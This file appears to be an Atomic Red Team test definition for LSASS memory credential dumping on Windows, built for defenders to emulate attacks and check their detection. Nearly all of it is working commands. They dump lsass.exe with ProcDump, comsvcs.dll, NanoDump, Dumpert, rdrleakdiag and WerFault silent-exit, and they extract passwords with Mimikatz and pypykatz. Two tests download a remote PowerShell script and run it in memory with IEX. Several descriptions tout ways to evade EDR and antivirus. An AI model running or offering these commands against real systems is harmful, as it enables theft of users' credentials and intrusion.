atomic-red-team/atomics/T1003.001/T1003.001.yaml

attack_technique: T1003.001
display_name: "OS Credential Dumping: LSASS Memory"
atomic_tests:
- name: Dump LSASS.exe Memory using ProcDump
  auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
    ProcDump.

    Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

    If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
  supported_platforms:
  - windows
  input_arguments:
    output_file:
      description: Path where resulting dump should be placed
      type: path
      default: C:\Windows\Temp\lsass_dump.dmp
    procdump_exe:
      description: Path of Procdump executable
      type: path
      default: PathToAtomicsFolder\..\ExternalPayloads\procdump.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
    prereq_command: |
      if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
      Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
      Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
      New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
      Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
  executor:
    command: |
      "#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
    cleanup_command: |
      del "#{output_file}" >nul 2> nul
    name: command_prompt
    elevation_required: true
- name: Dump LSASS.exe Memory using comsvcs.dll
  auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

    Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
  supported_platforms:
  - windows
  executor:
    command: |
      C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
    cleanup_command: |
      Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Dump LSASS.exe Memory using direct system calls and API unhooking
  auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. 
    https://github.com/outflanknl/Dumpert
    https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
    Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp.

    If you see a message saying \"The system cannot find the path specified.\", try using the  get-prereq_commands to download the  tool first.
  supported_platforms:
  - windows
  input_arguments:
    dumpert_exe:
      description: Path of Dumpert executable
      type: path
      default: PathToAtomicsFolder\..\ExternalPayloads\Outflank-Dumpert.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Dumpert executable must exist on disk at specified location (#{dumpert_exe})
    prereq_command: |
      if (Test-Path "#{dumpert_exe}") {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -ItemType Directory (Split-Path "#{dumpert_exe}") -Force | Out-Null
      Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile "#{dumpert_exe}"
  executor:
    command: |
      "#{dumpert_exe}"
    cleanup_command: |
      del C:\windows\temp\dumpert.dmp >nul 2> nul
    name: command_prompt
    elevation_required: true

- name: Dump LSASS.exe Memory using NanoDump
  auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea
  description: |
    The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.

    https://github.com/helpsystems/nanodump

    Upon successful execution, you should find the nanondump.dmp file in the temp directory
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
    prereq_command: |
      if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
      Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe" 
  executor:
    command: |
      PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
    cleanup_command: |
      del "%temp%\nanodump.dmp" >nul 2> nul
    name: command_prompt
    elevation_required: true

- name: Dump LSASS.exe Memory using Windows Task Manager
  auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
    Manager and administrative permissions.
  supported_platforms:
  - windows
  executor:
    steps: |
      1. Open Task Manager:
        On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking
        on the task bar and selecting "Task Manager".

      2. Select lsass.exe:
        If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe
        and select it for manipulation.

      3. Dump lsass.exe memory:
        Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.
    name: manual
- name: Offline Credential Theft With Mimikatz
  auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
    Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
  supported_platforms:
  - windows
  input_arguments:
    input_file:
      description: Path of the Lsass dump
      type: path
      default: '%tmp%\lsass.DMP'
    mimikatz_exe:
      description: Path of the Mimikatz binary
      type: string
      default: PathToAtomicsFolder\..\ExternalPayloads\x64\mimikatz.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Mimikatz must exist on disk at specified location (#{mimikatz_exe})
    prereq_command: |
      if (Test-Path "#{mimikatz_exe}") {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing) 
      $releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
      $zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
      $basePath = Split-Path "#{mimikatz_exe}" | Split-Path
      Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
  - description: |
      Lsass dump must exist at specified location (#{input_file})
    prereq_command: |
      cmd /c "if not exist #{input_file} (exit /b 1)"
    get_prereq_command: |
      Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"
  executor:
    command: |
      "#{mimikatz_exe}" "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
    name: command_prompt
    elevation_required: true
- name: LSASS read with pypykatz
  auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8
  description: |
    Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

    Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

    Successful execution of this test will display multiple usernames and passwords/hashes to the screen.

    Will create a Python virtual environment within the External Payloads folder that can be deleted manually post test execution.

  supported_platforms:
  - windows
  input_arguments:
    venv_path:
      description: Path to the folder for the tactics venv
      type: string
      default: PathToAtomicsFolder\..\ExternalPayloads\venv_t1003_001
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must have python 3 installed
    prereq_command: |
      if (Get-Command py -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
    get_prereq_command: |
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
      invoke-webrequest "https://www.python.org/ftp/python/3.10.4/python-3.10.4-amd64.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe"
      Start-Process -FilePath "PathToAtomicsFolder\..\ExternalPayloads\python_setup.exe" -ArgumentList "/quiet InstallAllUsers=1 PrependPath=1 Include_test=0" -Wait
  - description: |
      Computer must have venv configured at #{venv_path}
    prereq_command: |
      if (Test-Path -Path "#{venv_path}") { exit 0 } else { exit 1 }
    get_prereq_command: |
      py -m venv "#{venv_path}"
  - description: |
      pypykatz must be installed 
    prereq_command: |
      if (Get-Command "#{venv_path}\Scripts\pypykatz" -errorAction SilentlyContinue) { exit 0 } else { exit 1 }
    get_prereq_command: |
      & "#{venv_path}\Scripts\pip.exe" install --no-cache-dir pypykatz 2>&1 | Out-Null
  executor:
    command: |
      "#{venv_path}\Scripts\pypykatz" live lsa 
    cleanup_command: |
      del "%temp%\nanodump.dmp" > nul 2> nul
    name: command_prompt
    elevation_required: true
- name: Dump LSASS.exe Memory using Out-Minidump.ps1
  auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
    powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
    Upon successful execution, you should see the following file created $env:TEMP\lsass_*.dmp.
    
    Author of Out-Minidump: Matthew Graeber (@mattifestation)
  supported_platforms:
  - windows
  executor:
    command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
      try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
      catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
      get-process lsass | Out-Minidump
    cleanup_command: |
      Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Create Mini Dump of LSASS.exe using ProcDump
  auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
    ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

    Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

    If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
  supported_platforms:
  - windows
  input_arguments:
    output_file:
      description: Path where resulting dump should be placed
      type: path
      default: C:\Windows\Temp\lsass_dump.dmp
    procdump_exe:
      description: Path of Procdump executable
      type: path
      default: PathToAtomicsFolder\..\ExternalPayloads\procdump.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
    prereq_command: |
      if (Test-Path "#{procdump_exe}") {exit 0} else {exit 1}
    get_prereq_command: |
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
      Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip"
      Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\Procdump.zip" "PathToAtomicsFolder\..\ExternalPayloads\Procdump" -Force
      New-Item -ItemType Directory (Split-Path "#{procdump_exe}") -Force | Out-Null
      Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\Procdump\Procdump.exe" "#{procdump_exe}" -Force
  executor:
    command: |
      "#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
    cleanup_command: |
      del "#{output_file}" >nul 2> nul
    name: command_prompt
    elevation_required: true
- name: Powershell Mimikatz
  auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc
  description: |
    Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
    If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
    Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. 
    Or, if you try to run the test without the required administrative privileges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"
  supported_platforms:
  - windows
  input_arguments:
    remote_script:
      description: URL to a remote Mimikatz script that dumps credentials
      type: url
      default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
  executor:
    command: |
      IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
    name: powershell
    elevation_required: true
- name: Dump LSASS with createdump.exe from .Net v5
  auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0
  description: |
    Use createdump executable from .NET to create an LSASS dump.

    [Reference](https://twitter.com/bopin2020/status/1366400799199272960?s=20)
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      .Net v5 must be installed
    prereq_command: |
      $exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
      if ($exePath -and (Test-Path $exePath)) {exit 0} else {exit 1}
    get_prereq_command: |
      winget install Microsoft.DotNet.DesktopRuntime.5 --accept-source-agreements --accept-package-agreements --silent
  executor:
    command: |
      $exePath =  resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
      & "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
    cleanup_command: |
      Remove-Item $env:Temp\dotnet-lsass.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Dump LSASS.exe using imported Microsoft DLLs
  auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
    importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
    file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

    Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
  supported_platforms:
  - windows
  input_arguments:
    xordump_exe:
      description: Path to xordump
      type: path
      default: C:\Windows\Temp\xordump.exe
    output_file:
      description: Path where resulting dump should be placed
      type: path
      default: C:\Windows\Temp\lsass-xordump.t1003.001.dmp
  dependencies:
  - description: |
      Computer must have xordump.exe
    prereq_command: |
      if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
  executor:
    command: |
      #{xordump_exe} -out #{output_file} -x 0x41
    cleanup_command: |
      Remove-Item #{output_file} -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Dump LSASS.exe using lolbin rdrleakdiag.exe
  auto_generated_guid: 47a539d1-61b9-4364-bf49-a68bc2a95ef0
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. 
    This can be achieved with lolbin rdrleakdiag.exe. 

    Upon successful execution, you should see the following files created, $env:TEMP\minidump_<PID>.dmp and  $env:TEMP\results_<PID>.hlk.
  supported_platforms:
  - windows
  executor:
    command: |
      if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
            $binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
        } elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
            $binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
        } else {
            $binary_path = "File not found"
            exit 1
        }
      $lsass_pid = get-process lsass |select -expand id
      if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force} 
      write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
      & $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
      Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
    cleanup_command: |
      Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse -Force -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Dump LSASS.exe Memory through Silent Process Exit
  auto_generated_guid: eb5adf16-b601-4926-bca7-dad22adffb37
  description: |
    WerFault.exe (Windows Error Reporting process that handles process crashes) can be abused to create a 
    memory dump of lsass.exe, in a directory of your choice. This method relies on a mechanism 
    introduced in Windows 7 called Silent Process Exit, which provides the ability to trigger
    specific actions for a monitored process in one of two scenarios; either the process terminates
    itself by calling ExitProcess(), or another process terminates it via the TerminateProcess() API. 
    The major advantage of this technique is that it does not cause lsass.exe to crash, and since 
    WerFault.exe is used to create file dumps all the time (not just lsass.exe), this method provides 
    the added advantage of going undetected. WerFault.exe is a process known for dumping every crashing process, 
    from an attacker standpoint this is appealing as their illicit credential extraction will 
    appear benign because from a defender’s viewpoint it’s within the realm of normal activity.

    Upon successful execution, you should find the dump file in directory of your choice or "%temp%\SilentProcessExit" by default.
  supported_platforms:
  - windows
  input_arguments:
    output_folder:
      description: Folder Path where resulting dump should be placed
      type: path
      default: '%temp%\SilentProcessExit'
  dependency_executor_name: powershell
  dependencies:
  - description: |
      NanoDump executable must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
    prereq_command: |
      if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
      Invoke-WebRequest "https://github.com/fortra/nanodump/raw/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"
  executor:
    command: |
      PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
    cleanup_command: |
      rmdir "#{output_folder}" /s /q >nul 2> nul
    name: command_prompt
    elevation_required: true